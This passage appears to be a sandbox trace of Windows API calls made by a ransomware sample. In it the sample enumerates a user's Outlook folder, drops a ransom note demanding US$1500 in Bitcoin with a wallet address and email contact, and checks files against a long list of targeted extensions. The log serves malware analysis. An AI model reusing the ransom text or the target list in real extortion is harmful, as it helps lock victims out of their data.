ftCreationTime.dwLowDateTime=0x5c734300, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6215c440, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0088.136] lstrcmpA (lpString1=".", lpString2="Outlook") returned -1 [0088.136] lstrcmpA (lpString1="..", lpString2="Outlook") returned -1 [0088.136] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0088.136] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Outlook" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook" [0088.136] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook") returned 63 [0088.136] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5c734300, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6215c440, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.138] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.138] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5c734300, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6215c440, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.139] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.139] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.139] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5de69980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5de69980, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5e0c9040, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Outlook.srs", cAlternateFileName="")) returned 1 [0088.139] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0088.139] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Outlook.srs") returned -1 [0088.139] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Outlook.srs") returned -1 [0088.139] lstrcmpiA (lpString1="", lpString2="Outlook.srs") returned -1 [0088.139] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\*.*") returned="*.*" [0088.139] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\" [0088.139] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\") returned="" [0088.139] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\HOW TO DECRYPT FILES.txt" [0088.139] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\how to decrypt files.txt")) returned 0xffffffff [0088.139] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0088.140] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0088.140] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0088.142] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.142] CloseHandle (hObject=0x94) returned 1 [0088.143] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="Outlook.srs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" [0088.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.ems") returned 0 [0088.143] lstrlenA (lpString="*.ems") returned 5 [0088.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.db") returned 0 [0088.143] lstrlenA (lpString="*.db") returned 4 [0088.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.dbf") returned 0 [0088.143] lstrlenA (lpString="*.dbf") returned 5 [0088.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.myox") returned 0 [0088.143] lstrlenA (lpString="*.myox") returned 6 [0088.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.myo") returned 0 [0088.143] lstrlenA (lpString="*.myo") returned 5 [0088.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.qbw") returned 0 [0088.143] lstrlenA (lpString="*.qbw") returned 5 [0088.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.qbb") returned 0 [0088.143] lstrlenA (lpString="*.qbb") returned 5 [0088.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.qbm") returned 0 [0088.143] lstrlenA (lpString="*.qbm") returned 5 [0088.143] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.qbo") returned 0 [0088.143] lstrlenA (lpString="*.qbo") returned 5 [0088.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.qbx") returned 0 [0088.144] lstrlenA (lpString="*.qbx") returned 5 [0088.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.qba") returned 0 [0088.144] lstrlenA (lpString="*.qba") returned 5 [0088.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.qby") returned 0 [0088.144] lstrlenA (lpString="*.qby") returned 5 [0088.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.qbj") returned 0 [0088.144] lstrlenA (lpString="*.qbj") returned 5 [0088.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.ofx") returned 0 [0088.144] lstrlenA (lpString="*.ofx") returned 5 [0088.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.qif") returned 0 [0088.144] lstrlenA (lpString="*.qif") returned 5 [0088.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.mye") returned 0 [0088.144] lstrlenA (lpString="*.mye") returned 5 [0088.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.mbox") returned 0 [0088.144] lstrlenA (lpString="*.mbox") returned 6 [0088.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.eml") returned 0 [0088.144] lstrlenA (lpString="*.eml") returned 5 [0088.144] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.pst") returned 0 [0088.145] lstrlenA (lpString="*.pst") returned 5 [0088.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.ost") returned 0 [0088.145] lstrlenA (lpString="*.ost") returned 5 [0088.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.idx") returned 0 [0088.145] lstrlenA (lpString="*.idx") returned 5 [0088.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.dbx") returned 0 [0088.145] lstrlenA (lpString="*.dbx") returned 5 [0088.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.sql") returned 0 [0088.145] lstrlenA (lpString="*.sql") returned 5 [0088.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.mdb") returned 0 [0088.145] lstrlenA (lpString="*.mdb") returned 5 [0088.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.fdb") returned 0 [0088.145] lstrlenA (lpString="*.fdb") returned 5 [0088.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.wab") returned 0 [0088.145] lstrlenA (lpString="*.wab") returned 5 [0088.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.dat") returned 0 [0088.145] lstrlenA (lpString="*.dat") returned 5 [0088.145] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.txt") returned 0 [0088.145] lstrlenA (lpString="*.txt") returned 5 [0088.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.jpeg") returned 0 [0088.146] lstrlenA (lpString="*.jpeg") returned 6 [0088.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.jpg") returned 0 [0088.146] lstrlenA (lpString="*.jpg") returned 5 [0088.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.png") returned 0 [0088.146] lstrlenA (lpString="*.png") returned 5 [0088.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.php") returned 0 [0088.146] lstrlenA (lpString="*.php") returned 5 [0088.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.cs") returned 0 [0088.146] lstrlenA (lpString="*.cs") returned 4 [0088.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.cpp") returned 0 [0088.146] lstrlenA (lpString="*.cpp") returned 5 [0088.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.rar") returned 0 [0088.146] lstrlenA (lpString="*.rar") returned 5 [0088.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.zip") returned 0 [0088.146] lstrlenA (lpString="*.zip") returned 5 [0088.146] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.html") returned 0 [0088.146] lstrlenA (lpString="*.html") returned 6 [0088.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.htm") returned 0 [0088.147] lstrlenA (lpString="*.htm") returned 5 [0088.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.xlsx") returned 0 [0088.147] lstrlenA (lpString="*.xlsx") returned 6 [0088.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.xls") returned 0 [0088.147] lstrlenA (lpString="*.xls") returned 5 [0088.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.mp4") returned 0 [0088.147] lstrlenA (lpString="*.mp4") returned 5 [0088.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.ppt") returned 0 [0088.147] lstrlenA (lpString="*.ppt") returned 5 [0088.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.pptx") returned 0 [0088.147] lstrlenA (lpString="*.pptx") returned 6 [0088.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.doc") returned 0 [0088.147] lstrlenA (lpString="*.doc") returned 5 [0088.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.dot") returned 0 [0088.147] lstrlenA (lpString="*.dot") returned 5 [0088.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.docx") returned 0 [0088.147] lstrlenA (lpString="*.docx") returned 6 [0088.147] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.7z") returned 0 [0088.148] lstrlenA (lpString="*.7z") returned 4 [0088.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.tar") returned 0 [0088.148] lstrlenA (lpString="*.tar") returned 5 [0088.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.bz2") returned 0 [0088.148] lstrlenA (lpString="*.bz2") returned 5 [0088.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.gz") returned 0 [0088.148] lstrlenA (lpString="*.gz") returned 4 [0088.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.mkv") returned 0 [0088.148] lstrlenA (lpString="*.mkv") returned 5 [0088.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.eml") returned 0 [0088.148] lstrlenA (lpString="*.eml") returned 5 [0088.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.msg") returned 0 [0088.148] lstrlenA (lpString="*.msg") returned 5 [0088.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.edb") returned 0 [0088.148] lstrlenA (lpString="*.edb") returned 5 [0088.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.accdb") returned 0 [0088.148] lstrlenA (lpString="*.accdb") returned 7 [0088.148] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.odb") returned 0 [0088.148] lstrlenA (lpString="*.odb") returned 5 [0088.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.java") returned 0 [0088.149] lstrlenA (lpString="*.java") returned 6 [0088.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.asm") returned 0 [0088.149] lstrlenA (lpString="*.asm") returned 5 [0088.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.pfx") returned 0 [0088.149] lstrlenA (lpString="*.pfx") returned 5 [0088.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.pem") returned 0 [0088.149] lstrlenA (lpString="*.pem") returned 5 [0088.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.p12") returned 0 [0088.149] lstrlenA (lpString="*.p12") returned 5 [0088.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.gpg") returned 0 [0088.149] lstrlenA (lpString="*.gpg") returned 5 [0088.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.vsd") returned 0 [0088.149] lstrlenA (lpString="*.vsd") returned 5 [0088.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.odg") returned 0 [0088.149] lstrlenA (lpString="*.odg") returned 5 [0088.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.raw") returned 0 [0088.149] lstrlenA (lpString="*.raw") returned 5 [0088.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.nef") returned 0 [0088.150] lstrlenA (lpString="*.nef") returned 5 [0088.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.svg") returned 0 [0088.150] lstrlenA (lpString="*.svg") returned 5 [0088.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.psd") returned 0 [0088.150] lstrlenA (lpString="*.psd") returned 5 [0088.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.vmx") returned 0 [0088.150] lstrlenA (lpString="*.vmx") returned 5 [0088.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.vmdk") returned 0 [0088.150] lstrlenA (lpString="*.vmdk") returned 6 [0088.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.vdi") returned 0 [0088.150] lstrlenA (lpString="*.vdi") returned 5 [0088.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.lay6") returned 0 [0088.150] lstrlenA (lpString="*.lay6") returned 6 [0088.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.mpeg") returned 0 [0088.150] lstrlenA (lpString="*.mpeg") returned 6 [0088.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.djvu") returned 0 [0088.150] lstrlenA (lpString="*.djvu") returned 6 [0088.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.tiff") returned 0 [0088.151] lstrlenA (lpString="*.tiff") returned 6 [0088.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.backup") returned 0 [0088.151] lstrlenA (lpString="*.backup") returned 8 [0088.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.pdf") returned 0 [0088.151] lstrlenA (lpString="*.pdf") returned 5 [0088.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.cert") returned 0 [0088.151] lstrlenA (lpString="*.cert") returned 6 [0088.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.docm") returned 0 [0088.151] lstrlenA (lpString="*.docm") returned 6 [0088.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.xlsm") returned 0 [0088.151] lstrlenA (lpString="*.xlsm") returned 6 [0088.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.dwg") returned 0 [0088.151] lstrlenA (lpString="*.dwg") returned 5 [0088.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.nd") returned 0 [0088.151] lstrlenA (lpString="*.nd") returned 4 [0088.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.tlg") returned 0 [0088.151] lstrlenA (lpString="*.tlg") returned 5 [0088.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.lgb") returned 0 [0088.151] lstrlenA (lpString="*.lgb") returned 5 [0088.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.mov") returned 0 [0088.152] lstrlenA (lpString="*.mov") returned 5 [0088.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.xdw") returned 0 [0088.152] lstrlenA (lpString="*.xdw") returned 5 [0088.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.ods") returned 0 [0088.152] lstrlenA (lpString="*.ods") returned 5 [0088.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.wav") returned 0 [0088.152] lstrlenA (lpString="*.wav") returned 5 [0088.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", 